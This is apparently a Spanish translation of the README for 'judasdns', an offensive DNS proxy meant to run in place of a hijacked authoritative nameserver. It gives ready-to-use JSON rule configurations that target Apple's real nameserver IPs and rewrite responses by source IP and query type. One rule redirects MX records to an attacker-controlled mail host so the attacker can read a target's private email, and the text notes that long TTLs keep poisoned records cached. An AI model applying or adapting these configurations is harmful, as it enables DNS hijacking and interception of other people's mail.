mandatoryprogrammer/judasdnsAtaques de envenenamiento DNS a servidores de nombres hechos fáciles
,,
`7MMF' `7MM `7MM"""Yb. `7MN. `7MF'.M"""bgd
MM MM MM `Yb. MMN. M ,MI "Y
MM `7MM `7MM ,M""bMM ,6"Yb. ,pP"Ybd MM `Mb M YMb M `MMb.
MM MM MM ,AP MM 8) MM 8I `" MM MM M `MN. M `YMMNq.
MM MM MM 8MI MM ,pm9MM `YMMMa. MM ,MP M `MM.M . `MM
(O) MM MM MM `Mb MM 8M MM L. I8 MM ,dP' M YMM Mb dM
Ymmm9 `Mbod"YML.`Wbmd"MML.`Moo9^Yo.M9mmmP' .JMMmmmdP' .JML. YM P"Ybmmd"
Ataques de envenenamiento DNS simplificados
Un servidor proxy DNS construido para ser desplegado en lugar de un servidor de nombres comprometido, con el fin de realizar explotación dirigida. Judas funciona reenviando todas las consultas DNS a los servidores de nombres legítimos de un dominio. La magia reside en las configuraciones de reglas de Judas, que permiten cambiar las respuestas DNS dependiendo de la IP de origen o del tipo de consulta DNS. Esto permite a un atacante configurar un servidor de nombres malicioso para, por ejemplo, redirigir selectivamente el correo entrante proveniente de rangos de IP específicos (mediante registros MX modificados), establecer TTL extremadamente largos para mantener registros envenenados en caché, y más.
Para más información sobre cómo tomar control de servidores de nombres y secuestrar DNS, consulte la siguiente entrada de blog titulada "Respect My Authority – Hijacking Broken Nameservers to Compromise Your Target".
La siguiente es una configuración de ejemplo para Judas en un escenario donde un atacante ha comprometido/tomado control de uno de los servidores de nombres autoritativos de Apple (para apple.com):
{
"version": "1.0.0",
"port": 2248,
"dns_query_timeout": 10000,
"target_nameservers": [ "17.254.0.59", "17.254.0.50", "17.112.144.50", "17.112.144.59", "17.171.63.30", "17.171.63.40", "17.151.0.151", "17.151.0.152" ],
"rules": [
{
"name": "Redirigir secretamente todos los correos provenientes de 127.0.0.1!",
"query_type_matches": [ "MX" ],
"ip_range_matches": [ "127.0.0.1/32" ],
"modifications": [
{
"answer": [
{
"name": "apple.com",
"type": 15,
"class": 1,
"ttl": 10,
"priority": 10,
"exchange": "hacktheplace.localhost"
}
]
}
]
},
{
"name": "Hacer que todas las respuestas sean NOERROR incluso si han fallado.",
"query_type_matches": [ "*" ],
"modifications": [
{
"header": {
"rcode": 0
}
}
]
}
]
}
Los propósitos de los valores de configuración anteriores son los siguientes:
version: El formato de versión del archivo de configuración (por ahora siempre es 1.0.0).port: El puerto en el que Judas debe ejecutarse.dns_query_timeout: Cuánto tiempo esperar en milisegundos antes de abandonar una respuesta del servidor de nombres objetivo ascendente.target_nameservers: Los servidores de nombres legítimos para tu dominio objetivo; Judas enviará aquí todas las consultas DNS en nombre de los clientes solicitantes.rules: Una lista de reglas con modificaciones a la respuesta DNS que se aplicarán si coinciden.
name: Nombre de una regla determinada.query_type_matches: Lista de tipos de consulta a coincidir, como CNAME, A, etc. También se puede especificar un comodín (*) para coincidir con cualquier tipo de consulta.ip_range_matches: Lista de rangos de IP a coincidir. Para falsificar selectivamente respuestas a un rango específico de IPs.Las reglas de Judas incluyen una especificación modifications que se define como una lista de modificaciones variadas a aplicar a la respuesta DNS antes de que se devuelva al cliente. Es importante que lea la documentación de node-dns para entender la estructura de la respuesta DNS y poder modificarla.
Un ejemplo de formato de respuesta DNS es el siguiente:
{ header:
{ id: 25373,
qr: 1,
opcode: 0,
aa: 1,
tc: 0,
rd: 1,
ra: 0,
res1: 0,
res2: 0,
res3: 0,
rcode: 5 },
question: [ { name: 'apple.com', type: 2, class: 1 } ],
answer:
[ { name: 'apple.com',
type: 2,
class: 1,
ttl: 86400,
data: 'nserver2.apple.com' },
{ name: 'apple.com',
type: 2,
class: 1,
ttl: 86400,
data: 'nserver4.apple.com' },
{ name: 'apple.com',
type: 2,
class: 1,
ttl: 86400,
data: 'nserver.apple.com' },
{ name: 'apple.com',
type: 2,
class: 1,
ttl: 86400,
data: 'nserver3.apple.com' },
{ name: 'apple.com',
type: 2,
class: 1,
ttl: 86400,
data: 'nserver5.apple.com' },
{ name: 'apple.com',
type: 2,
class: 1,
ttl: 86400,
data: 'nserver6.apple.com' },
{ name: 'apple.com',
type: 2,
class: 1,
ttl: 86400,
data: 'adns2.apple.com' },
{ name: 'apple.com',
type: 2,
class: 1,
ttl: 86400,
data: 'adns1.apple.com' } ],
authority: [],
additional: [],
edns_options: [],
payload: undefined,
address: undefined,
...truncado por brevedad...
(Para más información sobre la estructura de datos de la respuesta DNS, consulte esta documentación.)
Escribir una modificación es muy sencillo. A continuación se muestra un ejemplo de regla con modificación:
{
"name": "Hacer que todas las respuestas sean NOERROR incluso si han fallado.",
"query_type_matches": [ "*" ],
"modifications": [
{
"header": {
"rcode": 0
}
}
]
}
La regla anterior coincide con cualquier tipo de consulta (debido al comodín (*)) y establece el valor header.rcode de la respuesta DNS en 0. Cualquier objeto que se defina como elemento de modificación se fusiona con la respuesta DNS, reemplazando el valor original.
Otro ejemplo es el siguiente:
{
"name": "Redirigir secretamente todos los correos provenientes de 127.0.0.1!",
"query_type_matches": [ "MX" ],
"ip_range_matches": [ "127.0.0.1/32" ],
"modifications": [
{
"answer": [
{
"name": "apple.com",
"type": 15,
"class": 1,
"ttl": 10,
"priority": 10,
"exchange": "hacktheplace.localhost"
}
]
}
]
}
La regla anterior coincide con cualquier consulta MX desde 127.0.0.1. La respuesta DNS se sobrescribe con un único registro MX para hacktheplace.localhost. Una implementación real de esto sería redirigir los correos entrantes desde una IP específica para leer los correos privados del objetivo. Además, un atacante en un escenario real también podría optar por modificar el TTL de la respuesta a un valor muy alto para que sus registros maliciosos persistan el mayor tiempo posible en las cachés DNS de los clientes.
La siguiente regla coincidirá con la dirección IP de un cliente:
{
"name": "Hacer que todas las respuestas solicitadas desde localhost (127.0.0.1) sean NOERROR.",
"ip_range_matches": [ "127.0.0.1/32" ],
"modifications": [
{
"header": {
"rcode": 0
}
}
]
}
El campo ip_range_matches se define como un array de rangos de IP que especifican los rangos objetivo a los que se aplicará la modificación de respuesta. La omisión de este campo equivale a un comodín y coincidirá con todas las direcciones IP de los clientes.
La siguiente regla coincidirá con un tipo de consulta MX y CNAME y aplicará una modificación de respuesta en consecuencia:
{
"name": "Hacer que todas las respuestas sean NOERROR incluso si han fallado.",
"query_type_matches": [ "MX", "CNAME" ],
"modifications": [
{
"header": {
"rcode": 0
}
}
]
}
El campo query_type_matches se define como un array de tipos de consulta a coincidir. La omisión de este campo equivale a un comodín y coincidirá con todos los tipos de consulta.
La siguiente regla coincidirá con un código de respuesta NXDOMAIN y aplicará una modificación de respuesta en consecuencia:
{
"name": "Hacer que todas las respuestas solicitadas desde localhost (127.0.0.1) sean NOERROR.",
"response_code_matches": [ "NXDOMAIN" ],
"modifications": [
{
"header": {
"rcode": 0
}
}
]
}
El campo response_code_matches se define como un array de códigos de respuesta a coincidir. La omisión de este campo equivale a un comodín y coincidirá con todos los tipos de RCODE.
modifications: Consulte la sección "Modificaciones" de este README.